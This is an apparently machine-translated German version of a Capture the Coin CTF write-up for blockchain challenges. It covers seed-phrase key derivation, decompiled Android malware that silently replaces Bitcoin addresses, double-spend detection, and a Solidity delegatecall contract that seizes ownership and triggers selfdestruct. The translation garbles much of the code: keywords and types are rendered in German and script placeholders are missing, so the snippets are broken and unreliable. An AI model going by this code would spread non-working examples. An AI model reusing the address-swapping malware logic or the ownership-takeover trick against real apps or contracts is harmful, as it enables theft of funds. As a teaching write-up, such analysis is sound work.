Erfassen Sie die Lösungen der Kategorie Coin – Blockchain

Free Bitcoins: FreeBitcoin | BonusBitcoin

Coins Kaufen: Bitcoin.deAnycoinDirektCoinbaseCoinMama (mit Kreditkarte)Paxfull

Handelsplätze / Börsen: Bitcoin.de | KuCoinBinanceBitMexBitpandaeToro

Lending / Zinsen erhalten: Celsius NetworkCoinlend (Bot)

Cloud Mining: HashflareGenesis MiningIQ Mining


Von Peter Kacherginsky, Mark Nesbitt, Joel Kenny und Don Yu

In diesem Beitrag setzen wir unsere Berichterstattung über Lösungen für den Capture the Coin-Wettbewerb fort, den wir während der Defcon 2019 durchgeführt haben. Wir werden uns auf die fünf Herausforderungen in der Blockchain-Kategorie konzentrieren, die eine Vielzahl von Themen abdecken, z. und Brieftaschen-Forensik.

Von Mark Nesbitt

Wenn jemand sagt, dass er eine bestimmte Anzahl von Bitcoins „besitzt“, bedeutet dies, dass er eine gültige Transaktion signieren kann, die diese Anzahl von Bitcoins an einen anderen sendet. Schauen wir uns genauer an, wie das tatsächlich funktioniert.

Eine Bitcoin-Transaktion hat Eingänge und Ausgänge. Eine neue Transaktion identifiziert die Ausgaben früherer Transaktionen, die als Eingaben für die neue Transaktion dienen.

Die Ausgänge werden mit einem Skript aus Daten und Opcodes „gesperrt“. Um eine Ausgabe auszugeben, liefert die Ausgabe-Transaktion ein "Entsperr" -Skript, das mit dem Ausgabeskript verkettet und nach stapelbasierten Regeln ausgewertet wird. Wenn der Stapel in einem gültigen Zustand verbleibt, kann die Transaktion die Münzen ausgeben.

Ein Beispiel für ein einfaches Sperrskript könnte sein:

  OP_CHECKSIG

Um eine Ausgabe mit diesem Sperrskript ausgeben zu können, muss für die Ausgabetransaktion eine Eingabe mit einem Entsperrskript vorliegen, das eine gültige Signatur enthält. Dies führt zu folgendem Skript:

   OP_CHECKSIG

Alle 3 Gegenstände werden auf den Stapel geschoben. Bei der Auswertung hat OP_CHECKSIG dies bestätigt gilt für . Wenn die Signatur gültig ist, gibt OP_CHECKSIG "true" an den Stapel zurück, was zu einem gültigen Stapelstatus führt. Somit kann jeder, der die Möglichkeit hat, eine gültige Unterschrift für die Die im Ausgabesperrskript angegebenen Münzen können ausgegeben werden.

Es gibt viele verschiedene Möglichkeiten, ein Sperrskript zu schreiben. Betrachten Sie ein etwas komplizierteres Skript:

OP_DUP OP_HASH160 <160 bit hash> OP_EQUALVERIFY OP_CHECKSIG

Was würde es kosten, diese Ausgabe auszugeben? (Tipp: Erfahren Sie hier mehr darüber.)

In beiden obigen Beispielen muss das Entsperrskript letztendlich eine gültige Signatur für einen öffentlichen Schlüssel enthalten, der an das Sperrskript gebunden ist. Dies ist jedoch keine Anforderung des Bitcoin-Netzwerks – es ist nur der beste Weg, um sicherzustellen, dass der Besitz von Münzen sicher umgesetzt wird. Betrachten Sie das folgende Skript:

OP_HASH256 <256 bit hash> OP_EQUALVERIFY

Jeder, der Daten liefern kann, die, wenn sie gehasht werden, den gleichen Wert haben wie die <256 bit hash> Wert, in der Lage sein, die Münzen auszugeben. Keine privaten Schlüssel erforderlich!

Betrachten Sie die folgende Bitcoin-Testnet-Transaktion:

https://blockstream.info/testnet/tx/23c9470a2269cf6430569afdd3e2e8f35f633b6cdbc34107ddbab932c4146ba3?expand

Das Skript für diese Transaktion lautet:

OP_HASH256 OP_PUSHBYTES_32 <64c9e17ec60cd8e074aa24fdb533b3147b651cc18d7c9bcd6b00ef483affc22f> OP_EQUAL

Jeder, der einen Wert findet, der mit 64c9e1… übereinstimmt, kann diese Münzen ausgeben.

Diese Herausforderung besteht im Wesentlichen darin, SHA-256 zu brechen. Du schaffst das!

Eine Strategie für den Versuch, eine starke kryptografische Hash-Funktion zu unterbrechen, besteht darin, zufällig zu raten. Ich beginne damit, "Coinbase" zu erraten.

In hex ist "coinbase" "636f696e62617365".

Von Peter Kacherginsky

In diesem Puzzle werden Sie mit einer Startphrase konfrontiert, die eine Kryptowährungs-Brieftasche schützt, und Sie werden aufgefordert, eine verborgene Transaktion zu finden, die der Brieftasche zugeordnet ist:

Spiel Fieber Kugel Entsperrfehler Palm Insekt Tonturm Fackel Speicherflüssigkeit

Moderne Kryptowährungs-Wallets folgen einer Reihe von Standards, um Backups zu erstellen und Schlüssel zu generieren: BIP-39, BIP-32, BIP-44 und SLIP-44.

Der erste Standard ist BIP-39: Mnemonischer Code zur Generierung deterministischer Schlüssel. Es definiert einen Weg, eine zufällig erzeugte Entropie unter Verwendung gebräuchlicher englischer Wörter zu codieren. BIP-39 zerlegt binäre Blobs mit 128–256 Bit in 11-Bit-Blöcke, von denen jeder einem Index in einer Wortliste entspricht. Durch Nachschlagen eines Index für jedes der Wörter in der obigen Mnemonik-Phrase ist es möglich, die ursprüngliche Zufallsentropie zu rekonstruieren und einen BIP-39-Keim zu erzeugen:

eb872c547351612701035f9a62a8c39d87c9f3af8fea5adc77bd3861384095407902f3c9e5b5d09ac422ed4e6b8c0ae7358c28b6ed40cf6e8b077775edb49fee

Die nächsten beiden Standards werden verwendet, um die tatsächlichen privaten Schlüssel aus dem obigen BIP-39-Startwert zu generieren. BIP-32: "Hierarchical Deterministic Wallets" definiert einen sicheren Algorithmus zum Generieren eines beliebig großen Baums privater Schlüssel aus einem einzelnen privaten Hauptschlüssel, der aus einem BIP-39-Startwert abgeleitet wurde. Der Standard verwendet eine spezielle Notation, um einen Schlüssel auf einer beliebigen Ebene im Baum zu definieren. Beispielsweise definiert m / 0/1 das zweite Enkelkind, das vom ersten Kind abgeleitet ist, das vom Hauptschlüssel abgeleitet ist. In der folgenden Tabelle sind einige private Schlüssel aufgeführt, die vom ersten untergeordneten Schlüssel abgeleitet wurden:

m / 0/0 - KxDTisYSXy8fwZBtxiXKNRCkipFviJLosSceTf7BXmC79xAqzDBWm / 0/1 - KzbaM51UVBognvXyuMMPTgrWnEZxdwTgZDqvmbf8SyqNyetVWGqmm / 0/2 - L5QG1cxQgawk7Xf8NSbwJFPbzz13uFuvMT9uGsxKgZuwHYsGC2iPm / 0/3 - KxiAyNsQKSZpTZUiQA81v59bEav7vj7odnvRVicdW8FvtGRTxZNn

BIP-44: Multi-Account-Hierarchie für deterministische Geldbörsen und SLIP-0044: Registrierte Münztypen für BIP-0044-Standards bauen auf BIP-32 auf, um spezifische Pfade zu definieren, die verschiedenen Kryptowährungstypen entsprechen. Die folgende Tabelle zeigt einige der gängigen Pfade:

m / 44 '/0 '/ 0 '/ 0 /0 - zuerst Bitcoin Adresse in der Kettem / 44 '/0 '/ 0 '/ 0 /1 - zweite Bitcoin Adresse in der Kettem / 44 '/1 '/ 0 '/ 0 /0 - zuerst Bitcoin Testnet Adresse in der Kettem / 44 '/1 '/ 0 '/ 0 /1 - zweite Bitcoin Testnet Adresse in der Kettem / 44 '/2 '/ 0 '/ 0 /0 - zuerst Litecoin Adresse in der Kettem / 44 '/3'/ 0 '/ 0 /0 - zuerst Hundemünze Adresse in der Kette

Beachten Sie, dass sich alle hierarchischen Brieftaschen im 44 ’-Baum befinden. Das zusätzliche Anführungszeichen (einfaches Anführungszeichen) neben der Zahl zeigt an, dass der jeweilige Ast gehärtet ist.

Wie Sie sehen können, kann eine einzelne Mnemonik-Phrase, die in der Challenge bereitgestellt wird, eine unendliche Anzahl von Adressen erzeugen, um versteckte Transaktionen zu überprüfen und nach ihnen zu suchen. Die Herausforderung gibt uns einen Hinweis darauf, dass sich die eine gesuchte Transaktion in der Bitcoin Testnet-Verzweigung befindet, die wie folgt definiert werden kann:

m / 44 '/1 '/ 0 '/ 0 /[2³¹ addresses]

Im Folgenden finden Sie ein Beispielskript, das den Adressraum brutet und eine Beispiel-Blockchain-API abfragt, um festzustellen, ob eine der Adressen Transaktionen enthält:

aus bitcoinlib.wallets importieren Sie HDWalletvon bitcoinlib.services.services import ServiceSEED = "Spielfieber Kugel Unlock Error Palm Insekt Tonturm Fackel Memory-Flüssigkeit"w = HDWallet.create (Name = "Wallet", Schlüssel = SEED, Netzwerk = "testnet")für i in range (0,1000):        address = w.key_for_path (path =”M / 44 '/ 1' / 0 '/ 0 /% d” % Ich adressiere        Transaktionen = Dienst (Netzwerk = "Testnetz"). GetTransactions (Adresse)        für t in transaktionen:            print (t.info ())

Das Ausführen des obigen Befehls in der Befehlszeile erzeugt (nach einiger Zeit) die folgende Ausgabe:

$ python3 hideandseek.py 2> / dev / null[..redacted..]Eingänge- 2Mv1XoyfFa6cygsdVJ32iEA8HsWheVWWtcY 1595764 731f64c418415ca4be54416361bcfcc9b606a5349b425342655bb8f2d3406b18 0           p2sh-segwit p2sh_p2wpkh; sigs: 0 (1 von 0) nicht validiertAusgänge- 2Mxm8UG8Cuf3NRnCS3bakhtTRLxYEBDfU2J 1416234 p2sh- mygH814iJuKrg7tCY2fspCCpxtU3jrzDsd 179362 p2pkh[..redacted..]

Es wurde eine einzelne Transaktion festgestellt, die bezahlt hat mygH814iJuKrg7tCY2fspCCpxtU3jrzDsd 179362 Satoshis. Wenn Sie den genauen Betrag auf der Website überprüfen, verwenden Sie die Flagge!

Von Joel Kenny

In diesem Puzzle erhalten Sie ein Android-Malware-Beispiel und müssen es zurückentwickeln, um die Adresse zu ermitteln, an die die Krypto gesendet wird. Die Malware basiert auf einer in Gustuff verwendeten Technik, einer Malware-App, die Anfang dieses Jahres in der Natur entdeckt wurde.

Dekompilieren Sie zunächst die APK-Datei. Sie können JADX verwenden und es gibt sogar eine Online-Version.

Anhand der AndroidManifest.xml-Datei der App können Sie erkennen, dass sie über einen Eingabehilfedienst verfügt.

<service android: label = ”@ string / accessibility_service_label” android: name = ”com.capturethecoin.thestealer.SneakyService” android: permission = ”android.permission.BIND_ACCESSIBILITY_SERVICE”>



Ein Eingabehilfedienst unter Android kann Ansichten auf dem Bildschirm auflisten und im Namen des Benutzers mit ihnen interagieren. Der Code für diesen Dienst befindet sich in SneakyService.java. Dieser Code in onAccessibilityEvent () ersetzt eine Bitcoin-Adresse, wenn der Benutzer sie in eine bestimmte Ziel-App eingibt:

if (companion.isCryptoAddress (text)) {    String decryptMsg = Encryption.decryptMsg (f4b);        AccessibilityNodeInfo source2 = accessibilityEvent.getSource ();
Intrinsics.checkExpressionValueIsNotNull (source2, str);
if (! TextUtils.equals (source2.getText (), decryptMsg)) {
accessibilityEvent = accessibilityEvent.getSource ();

Intrinsics.checkExpressionValueIsNotNull (accessibilityEvent, str);
Intrinsics.checkExpressionValueIsNotNull (decryptMsg, "payload");
performSetTextAction (accessibilityEvent, decryptMsg);
}
}

Um die Flagge zu finden, müssen Sie nur den Ausdruck auswerten

Encryption.decryptMsg (f4b);

Die schnelle und webbasierte Möglichkeit ist die Verwendung eines Java-Spielplatzes.

public class Encryption {
/ * umbenannt von: a * /
Privates statisches Endbyte[] f3a = neues Byte[]{(Byte) 122, (Byte) 61, (Byte) 66, (Byte) 31, (Byte) 11, (Byte) 0, (Byte) 33, (Byte) 84, (Byte) 16, (Byte) 68 , (Byte) 56, (Byte) 77, (Byte) 61, (Byte) 66, (Byte) 31, (Byte) 127, (Byte) 66, (Byte) 31, (Byte) 127, (Byte) 42 , (Byte) 27, (Byte) 3, (Byte) 9, (Byte) 17, (Byte) 0, (Byte) 33, (Byte) 84, (Byte) 31, (Byte) 11, (Byte) 31 , (Byte) 11, (Byte) 31};
öffentliches statisches Byte[] encryptMsg (String str) löst NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException {aus.
Schlüssel secretKeySpec = neuer SecretKeySpec (f3a, "AES");
Verschlüsselungsinstanz = Cipher.getInstance ("AES / ECB / PKCS5Padding");
instance.init (1, secretKeySpec);
return instance.doFinal (str.getBytes (StandardCharsets.UTF_8));
}
public static String decryptMsg (Byte[] bArr) löst NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException, UnsupportedEncodingException {aus
Schlüssel secretKeySpec = neuer SecretKeySpec (f3a, "AES");
Verschlüsselungsinstanz = Cipher.getInstance ("AES / ECB / PKCS5Padding");
instance.init (2, secretKeySpec);
return new String (instance.doFinal (bArr), StandardCharsets.UTF_8);
}
}
Klasse Spielplatz {
öffentliches statisches Endbyte[] f4b = neues Byte[]{(Byte) -92, (Byte) 12, (Byte) 23, (Byte) 115, (Byte) 84, (Byte) 48, (Byte) -125, (Byte) -66, (Byte) 40, ( Byte) 59, (Byte) 105, (Byte) 63, (Byte) 19, (Byte) 29, (Byte) -93, (Byte) -67, (Byte) 92, (Byte) 119, (Byte) 69 , (Byte) -62, (Byte) 127, (Byte) 35, (Byte) 114, (Byte) 85, (Byte) 117, (Byte) -5, (Byte) -34, (Byte) -94, (Byte) -73, (Byte) -97, (Byte) 41, (Byte) -78, (Byte) 59, (Byte) 13, (Byte) -116, (Byte) -103, (Byte) -51 , (Byte) 53, (Byte) -112, (Byte) 25, (Byte) -30, (Byte) -76, (Byte) 109, (Byte) -52, (Byte) -114, (Byte) 118 , (Byte) -80, (Byte) 0};
public static void main (String[ ] args) wirft Exception {
String output = Encryption.decryptMsg (f4b);
System.out.println (Ausgabe);
}
}

Wenn Sie den obigen Code ausführen, erhalten Sie das Flag, eine Bitcoin-Adresse: 1Ant1MoneyMoneyC1ub823ckj48m429vs3

Von Don Yu

Doppelte Ausgaben sind der kanonische Exploit im Blockchain-Bereich. Es gibt mehrere Möglichkeiten, eine Blockchain doppelt auszugeben, aber das übergeordnete Konzept ist dasselbe: Ein Angreifer sendet eine Transaktion an ein Opfer. Das Opfer nimmt bei Erhalt der Transaktion an, dass sich die Transaktion in einem abgeschlossenen Zustand befindet. Unter dieser Annahme zahlt das Opfer den Angreifer in irgendeiner Form aus. (z. B. Kryptowährung gegen Bargeld eintauschen oder einen Artikel mit Kryptowährung kaufen) Der Angreifer erstellt dann eine neue Transaktion, die im Wesentlichen die vorherige Transaktion „überschreibt“, indem er dasselbe Guthaben an einen anderen Ort sendet. Zu diesem Zeitpunkt hat das Opfer eine Auszahlung getätigt, weil es glaubte, einen gewissen Betrag an Kryptowährung erhalten zu haben. Die Transaktion mit doppelten Ausgaben leitet jedoch die Kryptowährung um, die das Opfer ursprünglich an ein anderes Ziel erhalten hat.

Um Transaktionen in einer UTXO-Blockchain doppelt auszugeben, muss ein Angreifer zuerst eine Transaktion übermitteln, die eine Reihe von Transaktionsausgaben an das Opfer sendet. Sobald sich die Transaktion in einem vermintem Block befindet, kann sie doppelt ausgegeben werden. Der Angreifer konstruiert Eine Transaktion mit doppelten Ausgaben, bei der die gleichen Transaktionsausgaben wie bei der ursprünglichen Transaktion verbraucht werden. Der Angreifer muss dann eine Reorganisation der Blockchain veranlassen, die den Block mit der ursprünglichen Transaktion entfernt und der Blockchain einen Block mit der Transaktion für doppelte Ausgaben hinzufügt. (Bei Proof-of-Work-Ketten besteht die häufigste Methode darin, die Blockchain zu 51% anzugreifen.) Anschließend wird die ursprüngliche Transaktion im Wesentlichen aus der Blockchain-Historie „gelöscht“, wobei die Transaktion mit doppelten Ausgaben ihren Platz einnimmt.

Bei dieser Herausforderung wird Ihnen eine Liste von Transaktionen angezeigt, einschließlich eines Reorgs und eines doppelten darin verborgenen Betrags. Wenn Sie das Konzept der doppelten Ausgaben verstehen, ist es relativ einfach, die Lösung zu finden. Wie würde eine doppelte Ausgabe in freier Wildbahn aussehen? Es würde höchstwahrscheinlich bei einem Reorg-Ereignis auftreten. Leider kommen Reorgs auch auf natürliche Weise vor, weil sich Blöcke über ein Mining-Netzwerk ausbreiten. Dies bedeutet, dass wir nach der Suche nach einem Reorg das Reorg nach einem Paar von Transaktionen durchsuchen müssen, die dasselbe UTXO verbrauchen.

Hier ist eine Lösung, die ich zusammen gehackt habe:

erfordern "json"
erfordern ‘pp’
file = File.open “./doublespend.json”
json_data = JSON.load-Datei
def check_for_reorg (json_data)
(1..json_data.length - 1) .each do | ind |
prev = json_data[ind — 1]
curr = json_data[ind]
if has_reorg? (prev, curr)
setzt "Found Reorg"
doublespend_check = check_for_doublespend (prev, curr)
Ausfahrt (0)
Ende
Ende
setzt "No reorg found"
Ende
def has_reorg? (prev, curr)
hashes_prev = prev.map {| block | Block[‘hash’]}
hashes_curr = curr.map {| block | Block[‘hash’]}

# Vorausgesetzte Länge == aktuelle Länge
(1.Prev.Länge - 1) .jedes do | ind |
wenn vorh[ind][‘hash’] ! = curr[ind — 1][‘hash’]
prev_txs = prev[ind][‘transactions’].map {| tx | tx[‘txid’]}
curr_txs = curr[ind — 1][‘transactions’].map {| tx | tx[‘txid’]}
return true
Ende
Ende
falsch zurückgeben
Ende

def check_for_doublespend (prev, curr)
prev_txs = prev.reduce ([]) {| base, block | Basis + Block[‘transactions’]}
curr_txs = curr.reduce ([]) {| base, block | Basis + Block[‘transactions’]}
prev_txs.each do | target_tx |
lookup_res = lookup_tx (target_tx, curr_txs)
if lookup_res! = []
PP.pp lookup_res
Ausfahrt (0)
Ende
Ende
Ende
def lookup_tx (target_tx, Transaktionen) transaction.each do | candidate_tx |
if target_tx[‘in_txos’] == Bewerber_tx[‘in_txos’] && target_tx[‘receiver’] ! = Bewerber_tx[‘receiver’]
Rückkehr[target_tx[target_tx[‘txid’]Kandidat_tx[‘txid’]]
Ende
Ende
Rückkehr []
Ende
check_for_reorg (json_data)

Von Peter Kacherginsky

Die Ethereum Smart Contract Challenge wurde entwickelt, um Spieler über gängige Fallstricke im Solidity-Code aufzuklären. Im Rahmen der Herausforderung werden die Spieler angewiesen, den Smart-Vertrag selbstzerstören. Es gibt nur eine Funktion, die aufgerufen werden kann und dazu führen würde, dass:

Funktion destroyme () public { 
require (msg.sender == owner);
Selbstzerstörung (msg.sender);
}

Beachten Sie die benötigen Funktion, die sicherstellt, dass nur der Vertragsinhaber sie aufrufen kann. Der Eigentümer des Vertrags wird im Konstruktor festgelegt und auf den ursprünglichen Vertragsersteller festgelegt:

Konstruktor () öffentlich zahlbar {
owner = msg.sender;
}

Normalerweise stecken wir an dieser Stelle fest, wenn nicht eine verdächtig benannte Funktion hackme, die einen delegatecall () an eine vom Benutzer angegebene Adresse und eine fest codierte Funktionskennung sendet:

Funktion hackme (Adresse _address) public {                 _address.delegatecall ("0x12345678");
}

Delegatecall ist eine einzigartige Funktion zum Aufrufen von Bibliotheken unter Beibehaltung des Vertragszusammenhangs. So wird es in Solidity-Dokumenten definiert:

Bibliotheken ähneln Verträgen, haben jedoch den Zweck, dass sie nur einmal an einer bestimmten Adresse bereitgestellt werden und ihr Code mithilfe der Funktion DELEGATECALL (CALLCODE till Homestead) des EVM wiederverwendet wird. Dies bedeutet, dass, wenn Bibliotheksfunktionen aufgerufen werden, ihr Code im Kontext des aufrufenden Vertrags ausgeführt wird, d. H. Dies zeigt auf den aufrufenden Vertrag, und insbesondere auf den Speicher des aufrufenden Vertrags kann zugegriffen werden.

Wenn wir in diesem Sinne die Funktion hackme () mit einer Bibliotheksvertragsadresse und einer Funktion aufrufen, die den Eigentümer des lokalen Speichers ändert, wird der Eigentümer für den Herausforderungsvertrag geändert.

Es gibt ein letztes Teil des Puzzles und das ist die hartcodierte 0x12345678 Parameter in der Funktion delegatecall. Der Wert ist eine untergeordnete Kennung, mit der eine bestimmte Funktion im Vertrag ausgewählt wird. So wird es in Solidity-Dokumenten definiert:

Die ersten vier Bytes der Aufrufdaten für einen Funktionsaufruf geben die aufzurufende Funktion an. Es ist das erste der vier Bytes des Keccak (SHA-3) -Hashs der Signatur der Funktion (links, im Big-Endian höherwertig). Die Signatur ist als der kanonische Ausdruck des Basisprototyps definiert, d. H. Der Funktionsname mit der in Klammern gesetzten Liste von Parametertypen. Parametertypen werden durch ein einzelnes Komma getrennt - es werden keine Leerzeichen verwendet

In diesem Sinne kann es eine Funktion geben, bei der der Hash-Prototyp die vier Bytes erzeugt 0x12345678. Wir könnten versuchen, den Funktionsprototyp zu brachialisieren oder ihn manuell in unserem Smart-Vertrag zu patchen. Wir könnten jedoch auch eine Verknüpfung mit einer Fallback-Funktion erstellen:

Ein Vertrag kann genau eine unbenannte Funktion haben. Diese Funktion kann keine Argumente haben und nichts zurückgeben. Sie wird bei einem Aufruf des Vertrages ausgeführt, wenn keine der anderen Funktionen mit der angegebenen Funktionskennung übereinstimmt (oder wenn überhaupt keine Daten geliefert wurden).

Mit einer Fallback-Funktion und einem benutzerdefinierten Vertrag können wir die Eigentümervariable des Herausforderungsvertrags effektiv überschreiben und die Selbstzerstörungsfunktion ausführen. Nachfolgend finden Sie ein Muster eines Solidity-Vertrags für diesen Zweck:

Pragma Solidität ^ 0,5,0;
Vertrag Hackme {
Adresse öffentlicher Eigentümer;
Funktion () extern zahlbar {
owner = msg.sender;
}
}

Wir hoffen, dass Ihnen das Lösen von Herausforderungen in dieser Kategorie gefallen hat und wir sehen uns im letzten Teil der Capture the Coin-Lösungsreihe.

Wenn die Herausforderungen in diesem Blog etwas sind, das Sie gerne ganztägig tun würden, besuchen Sie uns bei Coinbase und helfen Sie dabei, die vertrauenswürdigste Marke in der Crypto hier aufzubauen!

Free Bitcoins: FreeBitcoin | BonusBitcoin

Coins Kaufen: Bitcoin.deAnycoinDirektCoinbaseCoinMama (mit Kreditkarte)Paxfull

Handelsplätze / Börsen: Bitcoin.de | KuCoinBinanceBitMexBitpandaeToro

Lending / Zinsen erhalten: Celsius NetworkCoinlend (Bot)

Cloud Mining: HashflareGenesis MiningIQ Mining

By continuing to use the site, you agree to the use of cookies. more information

The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

Close